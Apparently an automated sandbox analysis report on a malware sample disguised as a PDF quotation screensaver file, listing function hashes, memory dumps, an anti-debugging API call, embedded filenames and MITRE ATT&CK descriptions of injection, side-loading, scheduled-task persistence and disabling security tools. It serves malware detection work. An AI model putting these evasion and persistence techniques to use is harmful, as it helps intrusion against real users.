Instruction Fuzzy Hash: 20D06770A01208EF8B40EFA8FA4155DB7B9EB85205B1045A9E409D7355EB716F009BA1

Uniqueness

Uniqueness Score: -1.00%

Function 05C06170 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0192b4b23f836f925a7928d682fc41b0dd79cfc857c8d4fb27a5a82e504cf50
Instruction ID: e4758a95bbf5786512dcc80fcd25ea61a10aa7f2af11db9104cbcfe284b7c3d6
Opcode Fuzzy Hash: d0192b4b23f836f925a7928d682fc41b0dd79cfc857c8d4fb27a5a82e504cf50
Instruction Fuzzy Hash: 21D0C97058A148AECB84DAA99401AA97ABDE702211F506598A809132919A721A60DA55

Uniqueness

Uniqueness Score: -1.00%

Function 0720BB10 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b8bead9149fbe94ea02e0051f5cb86ec4ec68fac29d967e8655302cbb98137
Instruction ID: 85f621f105fc027e2645b0a92fc75684cb680b092abd7140e4f7216b3da8a153
Opcode Fuzzy Hash: 03b8bead9149fbe94ea02e0051f5cb86ec4ec68fac29d967e8655302cbb98137
Instruction Fuzzy Hash: 0DD0C732008288AFC7075F64DC608D5BF799B177047144096E6C496153D7217516D762

Uniqueness

Uniqueness Score: -1.00%

Function 0720C6F2 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e1eb74413b22aa5635f4898898850ad85a7e02e90d1c5147b19b77139aba5b4
Instruction ID: d9a280ec5bf56c0aa1e6f5ba010535c263fba341e1f1958eb6fca84a105b3dae
Opcode Fuzzy Hash: 9e1eb74413b22aa5635f4898898850ad85a7e02e90d1c5147b19b77139aba5b4
Instruction Fuzzy Hash: 91D0A93612A280CFC30AEF30D890C55BBB2EFA2B003388A9BC04486152C73ACD21CB21

Uniqueness

Uniqueness Score: -1.00%

Function 05C02B21 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2452d2724a40e379fe5de8553f614027efd2a3144bb914dc0fffc483cc38683c
Instruction ID: b6909eedacef2882aac176dbc96d6d93e6b45b44dccdc0feed99df3389079f17
Opcode Fuzzy Hash: 2452d2724a40e379fe5de8553f614027efd2a3144bb914dc0fffc483cc38683c
Instruction Fuzzy Hash: ACE0BD38846229CFDB10CF10CA88BD8BBB1FB08300F0084D69409A32A5DA359A85DF00

Uniqueness

Uniqueness Score: -1.00%

Function 07207740 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37acdaf1dd8aeac85b741fbfa2d5879ca887ac44e7f8da1bdcec0c301749c77c
Instruction ID: fd62711d7f228c37c88d402cb68324fb89f9e13735127e91120486cb25365b09
Opcode Fuzzy Hash: 37acdaf1dd8aeac85b741fbfa2d5879ca887ac44e7f8da1bdcec0c301749c77c
Instruction Fuzzy Hash: 95D012B610C344AFC7418B69D804CD47FB4EF1662170581E6F5898B673D226DC14CB55

Uniqueness

Uniqueness Score: -1.00%

Function 05C049F3 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 342288f227b9df34a96204728b7e47576926bc40992149778de51ab40c795a34
Instruction ID: cae06f84cc292023b0bf112d5777c57c498c79db56818522d556aaf72cf42c3b
Opcode Fuzzy Hash: 342288f227b9df34a96204728b7e47576926bc40992149778de51ab40c795a34
Instruction Fuzzy Hash: 6FC012709042A8CECF54DFB6D8842BDBBF5AB0B210F602A2DC041B72C2CB3408428F00

Uniqueness

Uniqueness Score: -1.00%

Function 07207750 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Uniqueness

Uniqueness Score: -1.00%

Function 0720BB20 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fdacc72c692db11cac6bc42f60d9b676b5ad17e176b476f1aca194733f6fc97
Instruction ID: d12009ef2d7af9b726315ea0bd8aa6d1870b0231e2efc618649279459cd0c452
Opcode Fuzzy Hash: 6fdacc72c692db11cac6bc42f60d9b676b5ad17e176b476f1aca194733f6fc97
Instruction Fuzzy Hash: CEB0923200020CAB8600AB84EC14866BB6AAB59710700C026BA09061228B32A822EA94

Uniqueness

Uniqueness Score: -1.00%

Function 07205281 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c605576d187b4a71b58da65fd55841b0c1ec45ba40464fa11f057cfacff1e969
Instruction ID: 2a92b36daae71a4662c8a64e4265185a37a13a0d28b2ebf6dd7c184de296ac72
Opcode Fuzzy Hash: c605576d187b4a71b58da65fd55841b0c1ec45ba40464fa11f057cfacff1e969
Instruction Fuzzy Hash: AAA01250004084C0F35231784064694CA50E780320FC805C64044751C20D0C01448AE3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0748A438 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

f|0, xrefs: 0748A6CF

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: f|0
API String ID: 0-3895404595
Opcode ID: f43762e6edc5de2417d803230806d9ed1d117931afbe9af427e8a0ea1d464d74
Instruction ID: 23d649a05e786c2d4bc0ed7bc577b3bb5bc8104afcb3ac5d92007cc511a4a1d8
Opcode Fuzzy Hash: f43762e6edc5de2417d803230806d9ed1d117931afbe9af427e8a0ea1d464d74
Instruction Fuzzy Hash: 0D9137B0E04208CFDB94EFA8D484BEDBBF1FB49304F14956AD009AB295D7B59986CF00

Uniqueness

Uniqueness Score: -1.00%

Function 0748A448 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

f|0, xrefs: 0748A6CF

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: f|0
API String ID: 0-3895404595
Opcode ID: 5de7d16bdfd5030d1a11a01975ca9c942c8cf674862f8ae69dea72c481c2c8b8
Instruction ID: 9e9580da665c88c84403c1eb34dba8b7f7546ec4a73ad4af60b94fffd2e1c862
Opcode Fuzzy Hash: 5de7d16bdfd5030d1a11a01975ca9c942c8cf674862f8ae69dea72c481c2c8b8
Instruction Fuzzy Hash: 428118B0E05218CFDB94EFA8D444BEDBBF1FB49304F14946AD009AB295DBB59986CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0748A60F Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

f|0, xrefs: 0748A6CF

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: f|0
API String ID: 0-3895404595
Opcode ID: 38374952f05196c830aff5894bc4cc6f3d48e82f77f6cfc9aa5372239e771a9b
Instruction ID: 66945a2fd628f15098e743d0ed77e042d179dd382713509c764a8260479eba57
Opcode Fuzzy Hash: 38374952f05196c830aff5894bc4cc6f3d48e82f77f6cfc9aa5372239e771a9b
Instruction Fuzzy Hash: F08106B0E04218CFDB94EFA8D484BEDB7F1FB49304F54956AD009AB299D7B59986CF00

Uniqueness

Uniqueness Score: -1.00%

Function 0748A7B4 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

f|0, xrefs: 0748A6CF

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: f|0
API String ID: 0-3895404595
Opcode ID: 52b0c0bf8c8edc3f7f7a8a4e4db13665e250d5cd0878dc539c927bdd94c6557c
Instruction ID: f3c264face871dc1d044e002b7878d834ec9e8e43986369e0c26b497a14fcc60
Opcode Fuzzy Hash: 52b0c0bf8c8edc3f7f7a8a4e4db13665e250d5cd0878dc539c927bdd94c6557c
Instruction Fuzzy Hash: 347107B0E04218CFDB94EFA8D484BEDB7F1FB49304F54956AD009AB295D7B19986CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F762FF Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2222091925.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ff4f0dbb2787d90aaa86200457bea1a4f3c6c8f87e8d4a11adaec45b79191fc
Instruction ID: c56e6d60e99e1587a6bee6a1d0e587404714b6fc47db239e47865d358fd07d2f
Opcode Fuzzy Hash: 1ff4f0dbb2787d90aaa86200457bea1a4f3c6c8f87e8d4a11adaec45b79191fc
Instruction Fuzzy Hash: 66D10A35C2075A8ACB01EF64D995A9DB7B1FF95300F208B9AE0093B255EF706AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F76310 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2222091925.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149ef005d81e91f8987d660603582deb65547303a49389c0c51f2d80f32986d0
Instruction ID: 537b8cb73d860786fbb796f2e9ee1ddbb17e55679fa00911fa46e2d969bcadd6
Opcode Fuzzy Hash: 149ef005d81e91f8987d660603582deb65547303a49389c0c51f2d80f32986d0
Instruction Fuzzy Hash: FED10A34C2075A8ACB11EF64D995A9DB7B1FF95300F208B9AE0093B255EF706AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0720F36F Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba67cab923fe87596ecdf8642746855e1270e0e219ec06a358c1ecf15bf78f8d
Instruction ID: bc8d9dc79db39c914ec7f27c0d033d84c21d5252b6a7c24685ccaf4bb0688b92
Opcode Fuzzy Hash: ba67cab923fe87596ecdf8642746855e1270e0e219ec06a358c1ecf15bf78f8d
Instruction Fuzzy Hash: F7A14AB0D64259CFDB24CFA8D644BECBBF1BF09304F14816AD445AB2A6D7B94885CF60

Uniqueness

Uniqueness Score: -1.00%

Function 07487C68 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68deb9179e53711bf93cf5bb893d7e9a870af84da44126a56a8c59d0ab1f4202
Instruction ID: 9afcea02780cdb71cda6cd8fc27bb75309e6d942b9c448edbc1a253d780e049f
Opcode Fuzzy Hash: 68deb9179e53711bf93cf5bb893d7e9a870af84da44126a56a8c59d0ab1f4202
Instruction Fuzzy Hash: AB9172B0E0020D8FDF51DFA9D9917EEBBF2AF48314F24852AE419A7354EB349845CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0720F3B8 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58e36deef0f1772121711606cbf08e46bf372d3cdcf503092ac1857ceda05425
Instruction ID: d3c9ceba04575429df505432b04cda79d152eb8295d988bb33999db8d90700a0
Opcode Fuzzy Hash: 58e36deef0f1772121711606cbf08e46bf372d3cdcf503092ac1857ceda05425
Instruction Fuzzy Hash: 88913AB0D64259CFDB20CFA9D648BECBBF5FB09304F149129D405AB6A6D7B84885CF60

Uniqueness

Uniqueness Score: -1.00%

Function 07203E08 Relevance: 7.7, Strings: 6, Instructions: 152COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07203E8C
(bq, xrefs: 07203FD2
4'^q, xrefs: 07203F52
4'^q, xrefs: 07203EBC
pbq, xrefs: 07203F5F
4'^q, xrefs: 07203EDA

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (bq$4'^q$4'^q$4'^q$4'^q$pbq
API String ID: 0-723292480
Opcode ID: 5bdbaf5b390d344ff1b68ca79aa31fa063461e7c7049b7fd441f72b971054f83
Instruction ID: 1cc92c69b92abb39fff5bba286f9ff14db9b5cd9b8088345685e0ad7aa5cba88
Opcode Fuzzy Hash: 5bdbaf5b390d344ff1b68ca79aa31fa063461e7c7049b7fd441f72b971054f83
Instruction Fuzzy Hash: 9B51A2B0A003059FCB08DB79845176EBBE6EFC8301F14886CD5499B296DF74AD4687A1

Uniqueness

Uniqueness Score: -1.00%

Function 0720AB40 Relevance: 5.2, Strings: 4, Instructions: 210COMMON

Download Yara Rule

Strings

(_^q, xrefs: 0720B234
(_^q, xrefs: 0720B26A
(_^q, xrefs: 0720B1FD
(_^q, xrefs: 0720B1F3

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 5ca0a25edb8a4621286aaaecc8d7bfe4380ffef55315f4eed9987a7e5b2c9fc9
Instruction ID: 8892146104ca2ed372e1d0f782f58a70c13e439d33a9c7b723070849f1504464
Opcode Fuzzy Hash: 5ca0a25edb8a4621286aaaecc8d7bfe4380ffef55315f4eed9987a7e5b2c9fc9
Instruction Fuzzy Hash: FD7128B5A142458FC7149F78C8554ADBFF2EF8A310B64446AD406DB392DB31DC85CBE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aspnet_compiler.exePID: 7700, Parent PID: 5356COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 016370A0 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0163711F

Memory Dump Source

Source File: 00000004.00000002.2895182830.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1630000_aspnet_compiler.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 4bc633b27a58175608fef4fef9d4a90147f0f58dd2f658eab4025e60c3cd2e42
Instruction ID: 636a9b49dc6ab5cc47738f87f354bdca23e1072e536f95508d8182fddba7a97f
Opcode Fuzzy Hash: 4bc633b27a58175608fef4fef9d4a90147f0f58dd2f658eab4025e60c3cd2e42
Instruction Fuzzy Hash: 652148B28002598FDB14DF9AD885BEEFBF4EF49320F14841AE459A3391D778A944CF61

Uniqueness

Uniqueness Score: -1.00%

Function 016370A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0163711F

Memory Dump Source

Source File: 00000004.00000002.2895182830.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1630000_aspnet_compiler.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 6cd5553bad68c85f9033850b6bf3eed139d417e13317710eb676acf5bcfc57a2
Instruction ID: 9f4db93904633b5c1bbf1010c01cdad2b6561e3cdc665b43904964f9f9ef1452
Opcode Fuzzy Hash: 6cd5553bad68c85f9033850b6bf3eed139d417e13317710eb676acf5bcfc57a2
Instruction Fuzzy Hash: 032159B18002598FCB10CF9AD844BEEFBF4EF49310F14841AE459A3350D738A944CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0125D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2893556991.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_125d000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa820e9a1cd8b0352e96c0410df39de074799b0b445c128bfcb30ff544a2f56
Instruction ID: 3ababc0737ce4b08b1a3d80f07d3d280a834fb949547d72ff693a02a18ac1fec
Opcode Fuzzy Hash: 5fa820e9a1cd8b0352e96c0410df39de074799b0b445c128bfcb30ff544a2f56
Instruction Fuzzy Hash: 26210075614208DFDB55DF68D8C4B26BBA5EB84324F20C96DDD0A4B382C37AD807CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0125D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2893556991.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_125d000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d50e6c3d4a7adef7440d3914b61377eaf4d524ab0f7dc61d684e07876ab1096e
Instruction ID: 77b76beb40fc9101403cf92d6d9a3d34e5ba91db28fade20a1749b560fcb23a9
Opcode Fuzzy Hash: d50e6c3d4a7adef7440d3914b61377eaf4d524ab0f7dc61d684e07876ab1096e
Instruction Fuzzy Hash: 29219A755093848FDB03CF24D9D4B15BF71EB46314F28C5EAD9498B2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2234367283.0000000005DA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFmfcpx.exe8 vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamea2008e0c-49e9-4951-9077-6b05297ad1bf.exe4 vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUacfwlw.dll" vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2245901969.0000000007490000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000000.1636431232.0000000000822000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFmfcpx.exe8 vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2246378336.0000000009090000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameUacfwlw.dll" vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUacfwlw.dll" vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2221759738.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamea2008e0c-49e9-4951-9077-6b05297ad1bf.exe4 vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Binary or memory string: OriginalFilenameFmfcpx.exe8 vs QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
